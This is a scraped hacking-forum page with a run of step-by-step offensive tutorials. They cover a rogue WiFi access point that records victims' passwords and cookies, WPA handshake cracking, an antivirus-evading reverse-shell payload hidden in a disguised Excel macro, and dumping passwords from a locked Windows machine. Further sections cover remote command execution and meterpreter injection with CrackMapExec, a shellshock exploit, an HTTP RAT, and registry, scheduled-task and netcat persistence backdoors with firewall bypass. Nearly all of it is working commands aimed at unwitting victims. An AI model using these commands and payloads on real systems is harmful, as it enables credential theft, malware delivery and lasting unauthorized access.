![[Image: 10.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-FvbrrwGXhOc/W1i4HzHy9uI/AAAAAAAAYp0/FEjRDE9NP24RYu1UpI5IwdO5mX3t5NHtwCLcBGAs/s1600/10.png?w=687&ssl=1)
We got an improper shell, let’s convert it into a proper shell using the python one-liner.
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
Now, traversing Directory to Directory, files to files, I ended up in the /var directory and here I found a PHP file named mysqli_connect.
On opening this file using cat, I found the root credentials.
cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS
1
2
3
4
cat mysqli_connect.php
Root Credentials
Username: root
Password: root@ISIntS
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-3Nuo50IPx0I/W1i4Hj-p3wI/AAAAAAAAYpw/WQAUHJNBWmsMKsdEdpDR7xPxM7iBlDV0wCLcBGAs/s1600/11.png?w=687&ssl=1)
Now let’s wrap up this lab by getting the root shell, for this I will be using an ssh connection to the lab generated with the root credentials and as you can see in the screenshot given, we got the root shell.
ssh [email protected]
1
ssh [email protected]
![[Image: 12.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-VOnCvU9gZMo/W1i4IXbLyjI/AAAAAAAAYp8/sO5LcINEGAQDYGeo8FTnV_vO0Yfc8pcrwCLcBGAs/s1600/12.png?w=687&ssl=1)
WiFi-Pumpkin framework for Rogue Wi-Fi Access Point Attack It helps a hacker to create a free open fake wifi and as soon as victim connects to the fake open wifi, he gets trapped. However, the best feature is that if your internet connection is working, victim will get access to internet. Hence, more chances of him to get trapped(Nice, isn’t it?).
First, to install Wifi-Pumpkin we type on terminal:
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-eShj_xM5N1o/V3qBSq6IFzI/AAAAAAAAMw4/sof2WCDQCh8c-Zy177h7ilJ3Km8lwbJNQCLcB/s1600/1.png?w=687&ssl=1)
Once the cloning is done, we need to install. Hence, go to the installed directory of WiFi-Pumpkin and open it in terminal and type the following command to install it:
./installer.sh –install
Now, open the installed directory of wifi-pumpkin in terminal and type:
Python wifi-pumpkin.py
It will load wifi pumpkin in GUI as you can see in the screenshot below.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-xmuq_QbqQmE/V3qBTacqgBI/AAAAAAAAMxA/qSxqKtNcb6Uf0wAnp-IkGc1gWXpoyrtRACLcB/s1600/3.png?w=687&ssl=1)
Now, all you have to do is configure your settings and click on ‘Start Access Point’.
Wait for some devices to connect. They will be displayed as you can see below. A good thing is that devices are automatically assigned a class A IP address.
In the victim’s phone PumpAP is created and he/she is accessing the internet without even knowing that they have fallen into the sweet trap of free internet!
While the victim is acessing Wi-Fi like usual, we can see his/her activity. As you can see in the below screenshot that we are able to capture victim’s phone’s “Hike Contacts.”
As soon as victim opens anyone’s profile on hike, their number is being captured by us!
Many other notable features include cookie capturing. As n the below screenshot, we can see victim’s device’s cookies being visible. Which is great to know as it may have something interesting?
We are also able to capture any credentials/ login id and password on any http website.
As you can see below that victim has logged in into way2sms.com and their ID and password are being recorded.
For even better case scenarios, when many of victims will be connected to your fake Wireless Network thinking they are in luck, we will be recording everything in clear text. If we are unable to see everything on terminal, don’t worry, WiFi-Pumpkin has stored everything category wise.
Now, we go to the directory:
/WiFi-Pumpkin/logs/AccessPoint
In that directory many log files are present that have captured numerous items. One such text file is “credentials.log”
Here, we will see all the login details
Another notable file is the “urls.log”
We can see all the accessed urls on victim’s device, along with their IP address.
So, this is how you allure victims into free internet and steal data without even letting them know!
GERIX WIFI CRACKER is a GUI wireless 802.11 penetration tools which uses the aircrack-ng method behind its point and click method to crack the wifi password.
First of all clone the github repo with command:
git clone [To see content please register here]
Now inside the installed directory give the gerix.py file permission to execute with command:
chmod +x gerix.py
and then start the gerix wifi cracker with command:
python gerix.py
Now a GUI window will appear, click on Reload the Wireless Interfaces and when the wireless interface appears click on it i.e. wlan0 in my case and then click on Enable/Disable Monitor Mode to enable the monitor mode from managed mode.
After enabling the monitor mode the wireless interface name will be changed to wlan0mon and the mode will be monitor .Now for scanning the wireless networks select the monitor mode interface (wlan0mon in my case) and then click on Rescan networks.
After scanning networks select you target by clicking on it as in my case i have selected tp link and then go to WPA tab (As the target AP is using WPA2 security).
After clicking on WPA tab, go to general functionalities and start sniffing and logging by clicking on it and a terminal window will appear capturing the packets of the target AP.
Now without closing the terminal windows got to WPA attack section and click on Autoload victim clients who will load victim client MAC address to deauthenticate and now click on Client Deauthentication to disconnect the victim so that we can capture the handshake.
Now as you can see WPA handshake is successfully captured and same can be seen in the top right corner of the terminal window. Now close the terminal window.
Now we have to crack the password from the captured file so got to Cracking tab and then to WPA bruteforce cracking section and give the dictionary path in the Add your dictionary field and then click on Aircrack-ng -Crack WPA password .(you can also choose any other method for cracking like pyrite and rainbow tables)
As you can see it has successfully cracked the password.
![[Image: 9.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-CvUUr4_Ehz8/V3fYiuO_hfI/AAAAAAAAMwo/_gwOk2hiIxAovC_OTTeZ4lnTU8mIiiu_QCKgB/s1600/9.png?w=687&ssl=1)
Veil-Evasion is a powerful tool to generate an executable payload that bypasses common antivirus solutions.
To install veil-evasion on your Kali Linux, type :
apt-get install veil-evasion
1
apt-get install veil-evasion
After the installation completes, run veil-evasion with the following command on terminal, in the installed directory of veil-evasion:
veil-evasion
1
veil-evasion
To see the options of payloads type
list
1
list
We can see a menu of the available payloads to use. There are plenty of payloads to use.
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-5JgYbb22J6A/V3doJ4aTzPI/AAAAAAAAMvQ/JKZE-4tly4YVsKnVp8a7Icf9Jxdl0MVlgCLcB/s1600/1.png?w=687&ssl=1)
We will be using the payload id-23. We type the command:
use powershell/meterpreter/rev_https
1
use powershell/meterpreter/rev_https
Reverse https is used here just so in case if the victim’s PC has a firewall enabled for TCP, considering the most common situations where HTTPS is not blocked on PC.
After that set localhost(Your PC’s IP). In my case, it is 192.168.0.105. Hence:
set lhost 192.168.0.105
1
set lhost 192.168.0.105
And then generate the payload:
generate
1
generate
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-m-edENktyBc/V3doXdBUfgI/AAAAAAAAMvs/Wil20X75h9gcRM1qJPLFWd1ZNjgTu3BkgCLcB/s1600/2.png?w=687&ssl=1)
Enter the name of the file. Let the name of the file to be generated be raj. Therefore;
raj
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-RXqUr5uzpZg/V3doRL2Ke-I/AAAAAAAAMvc/jTH_o86ToGM34gsTeJTH8Eqkmw-sxXmvQCLcB/s1600/3.png?w=687&ssl=1)
Now, the Veil-Evasion tool has created a bat file in PowerShell code in the directory:
/var/lib/veil-evasion/output/source/raj.bat
1
/var/lib/veil-evasion/output/source/raj.bat
![[Image: 4.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3ftJGPv8iVk/V3doPppdZEI/AAAAAAAAMvY/cDIEcnO1_F85pLzl-eL42QaaoLtkQERBwCLcB/s1600/4.png?w=687&ssl=1)
Open a new window of the terminal and install MacroShop. MacroShop is a collection of scripts to aid in delivering payloads via Office Macros. Most are Python. To install it we type:
git clone [To see content please register here]
1
git clone [To see content please register here]
After the installation of MacroShop, open its installed folder and place the file “raj.bat” in that directory.
Once the file “raj.bat” is placed in MacroShop, change the terminal path to MacroShop(or right click on the installed directory and click open in terminal and type:
python macro_safe.py raj.bat file.txt
1
python macro_safe.py raj.bat file.txt
Here file.txt is the name of the output text file that MacroShop will create.
Now open windows->New Microsoft Office Excel Worksheet->view(on the top bar)->macro
Enter the macro name->create
Then in the Macro editing area(or the workbook) copy paste the code present in “file.txt” to the workbook and save the macro.
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-eONJeDhx3lY/V3doY2mFGAI/AAAAAAAAMvw/KIkqUgml8F4nsM1hnPfl_CNazDwPQfAyQCLcB/s1600/9.png?w=687&ssl=1)
Now, edit the Microsoft excel worksheet so as to make it look authentic and edit it in such a way that the victim should definitely enable Macro option( given it is disabled).
Just for the case of simplicity and tutorial, I enter something random and save it as Microsoft Excel document 97-2003.
Open the excel document again, and enable macro option(if disabled).
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-kEI1Ej_FwNo/V3doDsMpO_I/AAAAAAAAMvI/abRmcIOIz7AB0_WwMOyWRTfxoQEdllVugCLcB/s1600/11.png?w=687&ssl=1)
Meanwhile, open Metasploit on Kali Linux
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit
1
2
3
4
5
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_https
msf exploit(handler)>set lhost 192.168.0.105
msf exploit(handler)>set lport 8443
msf exploit(handler)>exploit
As soon as the victim clicks on enabling the macro and/or opens the excel document, Voila! We get the meterpreter session. Hence, the job is done.
|
|
|
|
| [Guide] How to Hack Locked Workstation Password in Clear Text |
|
Posted by: NINZA - 04-24-2020, 12:58 PM - Forum: General Discussion
- No Replies
|
|
For this tutorial we will be using kali Linux iso which can be found on their official website and wce(windows credentials editor) which can be found at [To see content please register here]
Download the universal version if you don’t know the target system architecture (32 bit or 64 bit).
Windows Credentials Editor (WCE) is a security tool to list logon sessions and add, change, list and delete associated credentials (ex.: LM/NT hashes, plaintext passwords and Kerberos tickets).
First of all make your pen drive bootable with kali linux (you can choose any other linux distro) and then copy the wce.exe to the pen drive and then boot up the kali linux with the PD on target system and from the boot menu choose Live boot option and hit enter.
Now after OS boots up go to File Manager and browse to other locations and choose the 16 GB volume (size of the windows installation which will be different in your case).
Now browse to the Windows/System32 folder.
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-hoE_ayRNWYw/V3Z5cEu5mzI/AAAAAAAAMuY/ADK87Alc2RMPo7GaEVNsCrMdfQa72wQlgCLcB/s1600/3.png?w=687&ssl=1)
Now rename the Utilman.exe file to any other name and then rename the cmd.exe to Utilman.exe.
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-8K3_nxdq0D8/V3Z5c4WYjHI/AAAAAAAAMuk/qkAf6nULR74fWzKVyrQf9bYmlH2AmeFRQCLcB/s1600/4.png?w=687&ssl=1)
Now restart the system but this time doesn’t boot the system to kali Linux, let it boot to the installed windows and you will be presented with password screen after choosing the user.
At the password screen to lower left side a blue icon named ease of access will be present, click on it and a command windows will be opened
Now you have to execute the wce.exe file in the pd so type the following command to know the external devices connected:
diskpart (a windows command line utility which enables us to manage disk and partitions)
and then on diskpart prompt type command:
list volume (show all the connected drives)
Now choose the FAT32 Fs type drive (to be sure also confirm the drive name with the size of your pen drive)
In my case it is F. Now exit the diskpart by pressing ctrl^c.
So now browse to the pd by typing the following command: f: (Here f is the drive letter name In your case it could be different) and then execute the wce.exe file which you copied previously with command:
wce.exe –w (-w is used to dump all the passwords in clear text)
As you can see it has successfully dumped the password in clear text.
Crackmapexec is a swiss army knife for pentesting Windows/Active Directory environments. Active Directory (AD) is a directory service that Microsoft developed for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services.
First of all, to install crackmapexec run the following commands:
apt-get install -y libssl-dev libffi-dev python-dev build-essential
I have already installed all the requirements that is why because it is showing already installed but you have to install them.
Now we will create a virtual environment for crackmapexec with virtualenvwrapper.
virtualenvwrapper is a set of extensions to virtualenv tool. The extensions include wrappers for creating and deleting virtual environments and otherwise managing your development workflow, making it easier to work on more than one project at a time without introducing conflicts in their dependencies.
apt-get install virtualenvwrapper
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh
mkvirtualenv CME
pip install git+https://github.com/CoreSecurity/impacket
pip install crackmapexec
Now to execute a windows command remotely run the following command:
crackmapexec 192.168.0.104 –u administrator –p ‘Igni*******’ –x whoami
As you can see the server is Pwned and the output of the command is rajlab\administrator.
Here 192.168.0.104 is the server IP running active directory service in the network. We can also execute a powershell command:
crackmapexec 192.168.0.104 –u administrator –p ‘Igni*******’ –X ‘$PSVersionTable’
The command is executed successfully and the output can be seen as the version of the powershell.
If we don’t know the active directory server we can run crackmapexec on the whole network by giving the network range as in my case 192.168.0.0/24.
Now comes the turn to get a meterpreter shell , so start metasploit with command msfconsole in a new terminal and set up the reverse handler :
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set lhost 192.168.0.132
set lport 444
exploit
Now on the previous terminal run command:
crackmapexec 192.168.0.104 -u administrator -p Ign******* -M metinject –o LHOST=192.168.0.132 LPORT=444
As you can see payload is executed successfully and a powershell script Invoke-Shellcode.ps1 is executed to gets the reverse meterpreter shell using the metinject module to directly inject meterpreter into memory.
Here –M is the Module to use.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-S06FmUTPGSU/V3Pq9p1lQpI/AAAAAAAAMtI/I7-byUtcjxIcwEKi_n7VPs7T3NYMIY6IQCLcB/s1600/5.png?w=687&ssl=1)
As you can see we got the meterpreter shell.
![[Image: 6.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-S71gprL4mm0/V3Pq-vNVJ0I/AAAAAAAAMtU/m6Z2XYyHLO8EAM0Ae4MtxMnCamtiShHZQCLcB/s1600/6.png?w=687&ssl=1)
Xarp is an advanced anti-spoofing tool that flags all the spoofing attacks that might be using ARP(address resolution protocol) targeting your system. This includes documents, emails, and VoiceIP conversations. ARP attacks allow a hacker to manipulate the data sent over the network. Xarp uses active and passive modules to detect hackers inside the network. Having such tools in the system is very important as the computer firewalls and OS security do not provide protection against ARP attacks.
Download latest Xarp version from [To see content please register here]
After it gets downloaded, install it on your computer. Now, we will perform an attack on a system with Xarp installed To show this tool’s effectiveness, we perform the attack with Bettercap
As soon as Xarp detects an ARP attack, it shows an alert on the screen like this.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-kkTuvbDxNRM/V3Jg_-KWo4I/AAAAAAAAMrw/hPAH21SX5IwAMZJpq3SapUlXw_5dutvvwCLcB/s1600/3.png?w=687&ssl=1)
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-jtxLJL84Yxg/V3JhAXw5_6I/AAAAAAAAMr0/a6enT7r1YKY6ZkdrlZroVRFsHQttXcLegCLcB/s1600/4.png?w=687&ssl=1)
It is to be noted that there was no such alert or blocking from both windows firewall and defender, but Xarp detects the intrusion and warns about it.
First start the monitor mode on our wireless adaptor .
airmon-ng start wlan0
Now the monitor mode is enabled with name wlan0mon.
and then with the following command start listening to all the available wifi connections:
airodump-ng wlan0mon
![[Image: 1.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-Grf6ZH6XOp8/V2-tAfy3LxI/AAAAAAAAMq0/WEe7M_zxqYIwIjbTxN6-1_Vk4g79WaazQCLcB/s1600/1.png?w=687&ssl=1)
After running the above command it will start listening all the wifi traffic nearby so wait till your target appears and then hit ctrl^c.
Now we have to listen to a specific channel on which the target is present . Now run command:
airodump-ng -c 2 –bssid 3C:1E:04:XX:XX:XX –write sommay wlan0mon
-c == channel number of the target (2 in my case , see the CH column)
–bssid == MAC address of the target AP
–write == name of the capture file
Now wait till the WPA handshake is captured and then hit crtl^c.
Now a file named sommay-01.cap will be generated
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-IN_g9x8zz3E/V2-s_7dsUwI/AAAAAAAAMqw/8jREtab8GnYraQ_dA5wO7qRJxGLD6VpNQCLcB/s1600/3.png?w=687&ssl=1)
PYRIT
First method to crack the password from the capture file is PYRIT . We will use dictionary-attack so run command:
pyrit -i /usr/share/nmap/nselib/data/password.lst -r sommay-01.cap attack_passthrough
-i == path to the input file in our case it is the path to dictionary
-r == path to the captured fle which ( in our case it is sommay-01.cap)
attack_passthrough == this options is to specify that a dictionary attack is to be performed
As you can see it has successfully cracked the password.
OCLHASHCAT
First of all download oclhashcat from its official website: [To see content please register here]
First we have to convert the .cap file we captured with airodump-ng previously to .hccap with aircrack-ng by command:
aircrack-ng sommay-01.cap -J sommay-01
-J == the path to the output file with extension .hccap
Now copy the dictionary you want to use in the Hashcat folder. Now enter in the hashcat folder and run command:
./hashcat-cli64.bin -m 2500 /root/sommay-01.hccap passwords.lst
In above command if you are using 32 bit system replace 64 with 32.
-m is the hash type which is 2500 for WPA/WPA2 cracking
then give the path to .hccap file which you converted with aircrack-ng. and then the name of the dictionary file. As you can see it has successfully cracked the password.
COWPATTY
For cracking with the help of cowpatty we have to first generate the hash file specific to the target AP. For this we will use genpmk so run command:
genpmk -f passwords.lst -d cowpatty_dict -s SOMMAY
-f == path to the dictionary file
-d == name of the output dictionary
-s == ESSID(Name) of the target AP(The name should be identical to the target AP)
Now it will generate a dictionary file named cowpatty_dict which will speed up the cracking process.
Now run command :
cowpatty -d cowpatty_dict -r sommay-01.cap -s SOMMAY
-d == path to dictionary we generated with genpmk
-r == path to the capture file we generated with airodump-ng
-s == ESSID of the target AP(The name should be identical to the target AP)
![[Image: 8.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-_VCFI5O194E/V2-tKM9UqII/AAAAAAAAMrU/yV42JtP__lYpJYN-FOUGL7TZXto-e4yXwCLcB/s1600/8.png?w=687&ssl=1)
|
|
|
|
| [Guide] How to Crack Wifi Password using Aircrack-Ng (Beginner’s Guide) |
|
Posted by: NINZA - 04-24-2020, 12:49 PM - Forum: General Discussion
- No Replies
|
|
This is the classical method of wireless password cracking .All the tools use this method in one way or other.
First start the monitor mode which will listen to all the wifi connections nearby with command:
airmon-ng start wlan0
In your lower right corner you will see written. monitor mode enabled for [phy1]wlan0mon
Now run the following command to confirm that our wifi adaptor is in monitor mode, so run command:
ifconfig
which will show you the wifi adaptor as wlan0mon meaning adaptor is in monitor mode.
Now run command:
airodump-ng wlan0mon
The above command will start listening to all the available wifi connections.
Now when your target appeas hit ctrl^c and then to capture the handshake type command:
airodump-ng -c 7 –bssid C8:XX:35:XX:FD:F0 –write 1 wlan0mon
Here,
-c is the channel no. of the AP which will be listed in CH column in the output of above command as in my case it is 7.
–bssid is the MAC address of the target AP as in my case it is rajlab and bssid is C8:3A:XX:44:XX:F0
–write is the capture file in which the capture packets will be saved as in my case i have named it as 1 .
Option
Description
-c
The channel for the wireless network
–bssid
The MAC address of the access point
-w
The file name prefix for the file which will contain authentication handshake
mon0
The wireless interface
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/4.bp.blogspot.com/-BaR2PyoDyJU/V26xKmV1VSI/AAAAAAAAMqA/Y6MncYAHKKkUmRfJD3eRhkYppF4AaAS_wCLcB/s1600/2.png?w=687&ssl=1)
![[Image: 3.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-ucXsUxkkYuM/V26xKgDglFI/AAAAAAAAMqE/7-qfAW7pQHMkFxKL_BPoDASyeSlh-gJqQCLcB/s1600/3.png?w=687&ssl=1)
Now start the deauth attack to disconnect all the connected clients to that AP which will help in capturing the handshake with command:
aireplay-ng -0 100 –a XX:3A:35:XX:FD:F0 -e rajlab wlan0mon
Here,
-0 is used for deauth attack
100 is no. of deauth packets to be sent
-a is the target AP MAC address
-e is ESSID of the target AP i.e. name of the target AP
After launching the deauth attack we will get the WPA handshake in the previous terminal window in the top right corner then hit ctrl^c.
Now we have to crack the password with aircrack-ng so type command :
aircrack-ng 1-01.cap –w /usr/share/nmap/nselib/data/passwords.lst
Here,
1-01.cap is the capture file we generated in the airodump-ng .
-w is the dictionary to be used to perform dictionary attack
In my case the key is found as KEY FOUND! [raj123987]
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-ekngHvIQltY/V26xLc1nbHI/AAAAAAAAMqM/I6GL2cDwbzAM8E1LaHmqom7h1BQ7wr9ZwCLcB/s1600/6.png?w=687&ssl=1)
IPFire, a free linux based open source firewall distribution, version <= 2.15 Update Core 82 contains an authenticated remote command execution vulnerability via shellshock in the request header
Exploit Targets
Ip Fire 2.15
Requirement
Attacker: kali Linux
Victim PC: Linux
Open Kali terminal type msfconsole
Now type use exploit/linux/http/ipfire_bashbug_exec
msf exploit (ipfire_bashbug_exec)>set rhost 192.168.0.176
msf exploit (ipfire_bashbug_exec)>set username admin
msf exploit (ipfire_bashbug_exec)>set password admin
msf exploit (ipfire_bashbug_exec)>set payload cmd/unix/generic
msf exploit (ipfire_bashbug_exec)>set cmd uname -a
msf exploit (ipfire_bashbug_exec)>exploit
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-vhmvX4kekEQ/V21QYR0OfOI/AAAAAAAAMm8/sE2CyTXvouwWIVdkwjjdPsuLs1lcOKKFQCLcB/s1600/2.png?w=687&ssl=1)
HTTP RAT is a kind of Remote Access Trojan which utilizes web interfaces and port 80 to gain access. It can be understood simply as an HTTP Tunnel, except it works in the reverse direction. These Trojans are comparatively more dangerous as these work on the web and thus work almost everywhere where you can find internet.
Here, we would be working with HTTP RAT backdoor web server by a zombie
To download the above from internet and extract the tool. It would something like as shown in the pic below
Double click on the folder and click on the icon with httprat written next to it. Something like this pic pops up on the screen.
Click on create. This is what should pop out on screen.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-EfBPdhKB6cY/V20a58s4bhI/AAAAAAAAMmE/Sj1j9_e8ij4tGx1HuPlsJtB7HEbLMAyHwCLcB/s1600/3.png?w=687&ssl=1)
An icon less application with httpserver must be created as in this pic:
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-f3R-gNxL5Ms/V20a6TvPuQI/AAAAAAAAMmM/9XQZIO8miw41N15mBJ0L9hvrxYElkgYwQCLcB/s1600/4.png?w=687&ssl=1)
Send this file to the victim via pen drive or any other means. Once the victim double clicks on the application, it will automatically send a connection back to you. You just need to type the victim’s IP address on the browser. This is what will come on the screen
First take the meterpreter shell from any known exploit and bypass UAC for better results .Then run command:
Persistence
run persistence –X –i 10 –p 443 –r 192.168.0.105
-X=connect back when the system boots
-i 10=try to connect back every 10 seconds
-p 443=reverse connection port
-r ip=reverse connection ip
After successfully executing the script, reboot the system and then use exploit:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.0.105
exploit
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/3.bp.blogspot.com/-H52jg2gKC50/V2quuEbakMI/AAAAAAAAMkE/gXOzZpZGfOYjyXYWW6YVfJ-O1UacUSMhgCLcB/s1600/1.png?w=687&ssl=1)
s4u_persistence
Creates a scheduled task that will run using service-for-user (S4U). This allows the scheduled task to run even as an unprivileged user that is not logged into the device. This will result in lower security context, allowing access to local resources only. The module requires ‘Logon as a batch job’ permissions (SeBatchLogonRight)
Now type use exploit/windows/local/s4u_persistence
msf exploit (s4u_persistence)>set payload windows/meterpreter/reverse_tcp
msf exploit (s4u_persistence)>set lhost 192.168.0.137 (IP address of kali Linux)
msf exploit (s4u_persistence)>set lport 443
msf exploit (s4u_persistence)>set trigger logon
msf exploit (s4u_persistence)>set session 2
msf exploit (s4u_persistence)>exploit
Now after successful backdoor creation, restart the victim pc you can see the previous meterpreter session is closed and then run command:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.137
exploit
VSS_PERSISTENCE
This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine.
First take the meterpreter shell and bypass UAC by any known technique and then background the session .Then run series of commands:
Now type use exploit/windows/local/vss_persistence
msf exploit (vss_persistence)>set runkey true
msf exploit (vss_persistence)>set schtask true
msf exploit (vss_persistence)>set rhost 192.168.222.137
msf exploit vss_persistence)>set session 2
msf exploit (vss_persistence)>exploit
Now run exploit which will create a backdoor and will give a meterpreter session.
Now background it and use the multi handler and also set the payload with commands:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.222.135
set lport 4444
exploit
Now restart the victim system and the meterpreter session will die, and then run: exploit after restarting the system it will give a reverse meterpreter shell.
REGISTRY PERSISTENCE
This module will install a payload that is executed during boot. It will be executed either at user logon or system startup via the registry value in “CurrentVersion\Run” (depending on privilege and selected method). The payload will be installed completely in registry
First background the meterpreter session and then run commands:
Now type use exploit/windows/local/registry_persistence
msf exploit (registry_persistence)>set payload windows/meterpreter/reverse_tcp
msf exploit (registry_persistence)>set lhost 192.168.222.135 (IP address of kali Linux)
msf exploit (registry_persistence)>set lport 4545
msf exploit (registry_persistence)>set startup system
msf exploit (registry_persistence)>set session 1
msf exploit (registry_persistence)>exploit
Now set up your system for reverse connection. Run the following commands on your msfconsole:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.222.135
set lport 4545
exploit
Now restart the victim pc and your previous meterpreter session will die, so now run the exploit: After restarting you will get the reverse meterpreter shell as you can see in my case
NETCAT
Netcat is a featured networking utility which reads and writes data across network connections, using the TCP/IP protocol.
After getting the meterpreter shell and bypassing UAC run the following command:
upload /usr/share/windows-binaries/nc.exe C:\\Windows\\system32
Now set the registry value with the following command:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d ‘C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe’
![[Image: 8.png?w=687&ssl=1]](https://i1.wp.com/3.bp.blogspot.com/-KmfxSeODYJs/V2qu1ub89SI/AAAAAAAAMkw/nLCuWrMC9fIwj1M4DCM9D7yrbtkCGlq_gCLcB/s1600/8.png?w=687&ssl=1)
Now get the command shell with command:
Shell and then bypass the firewall on the victim system by adding firewall rules with shell command:
netsh advfirewall firewall add rule name=’netcat’ dir=in action=allow protocol=Tcp localport=4445
![[Image: 9.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-HHollndVQn8/V2qu2bJnjaI/AAAAAAAAMk0/kAfMTKz4eEkQWGQe1yxNBHWfY_tgXFmsACLcB/s1600/9.png?w=687&ssl=1)
Now check whether the rules are added successfully with the command:
netsh firewall show portopening
As you can see the the firewall rule netcat is added successfully.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-2nJAn_8Q9Mk/V2qus-URUdI/AAAAAAAAMj8/kvYdeks716scPkY0TF1oqdJMsYnl3bYGQCLcB/s1600/10.png?w=687&ssl=1)
Now after restarting of the victim system , run the following command on the terminal:
nc -nv 192.168.0.101 4445
Here 192.168.0.101 is the victim system you previously created backdoor and 4445 is the port you gave while setting the registry value.
After successful running the command you will get the command shell.
![[Image: 11.png?w=687&ssl=1]](https://i0.wp.com/2.bp.blogspot.com/-Z9C16oL19Fk/V2quteCIaoI/AAAAAAAAMkA/wqxDqAOSqPg20W4DGDeC3MqZUsddmT5owCLcB/s1600/11.png?w=687&ssl=1)
|
|
|
|
| Hacking with Sqlmap |
|
Posted by: NINZA - 04-24-2020, 12:32 PM - Forum: General Discussion
- No Replies
|
|
Hello BHC,
Who Want to learn how to hack websites and get database info's inside
give your time to watch this
|
|
|
|
| Effective Ways to Open Blocked Sites (100% Effective) |
|
Posted by: NINZA - 04-24-2020, 12:16 PM - Forum: General Discussion
- No Replies
|
|
Effective Ways to Open Blocked Sites (100% Effective)
Tips on the newest, most effective way to open sites that are blocked by speedy operators to eliminate positive internet guaranteed 100% effective and successful . The internet is a gateway to knowledge so it is wonderful to surf to find information on the internet especially that dealing with downloads will definitely be interesting. Like my post yesterday, namely C ara cracked the Facebook account password.
Effective Ways to Open Blocked Sites (100% Effective)
The trick for opening a site that is blocked by the server operator Telkomsel XL Flexi Indosat Axis etc. or also speedy for sure who often surfs the internet is no stranger. but this information is for friends who are not familiar with the Effective Ways to Open Blocked Sites (100% Effective) . So it turns out that there are some sites that can't be opened on the internet so I will share my experiences with you.
Why Sites Can Be Blocked?
The above question must be very troubling in your mind. well, actually there are several reasons to block the site, let's look at the following:
1. The site violates 2. The site contains or that can damage the laptop / computer. 3. Violating information laws and electronic transactions 4. Violating the rules of the internet service provider.
How to open the
open Blocked Site
This will be a discussion on this occasion, there is a saying "if there is a problem there must be a solution" so that actually opening a blocked site is very easy and can be tried immediately and I will give some ways please select one. How to break down blocked porn sites Tips for the newest, most effective way to quickly open sites that are blocked by speedy operators to eliminate positive internet guaranteed 100% effective and successful.
You can use this free trick :: How to open the site with
Select Download Add-ons (Get Add-ons), then in the search box in the upper right corner type "anonymous" (typed without quotes) then press enter. Please select Select anonymous add-on then click the Install button. If the download is complete then click on the "Restart now" link or "Restart now" or directly
:: How to Open a Blocked Site with Google Chrome
Please use the URL [To see content please register here] after opening please type the blocked one then enter.
Quote:The contents of this section are hidden for your group
Register or Login
|
|
|
|
|
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-GZysbqlAwJQ/V5RQYCrIU1I/AAAAAAAAM7M/mJ1BOuJropMX6Ij1F6pL2_cwpUA8QahCwCLcB/s1600/1.png?w=687&ssl=1)
![[Image: 2.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-f69lg2eRkPI/V5RQbMUUelI/AAAAAAAAM7w/25hpH2Ne3jQt8wadS-AMvha0TLRjnYvlwCLcB/s1600/2.png?w=687&ssl=1)
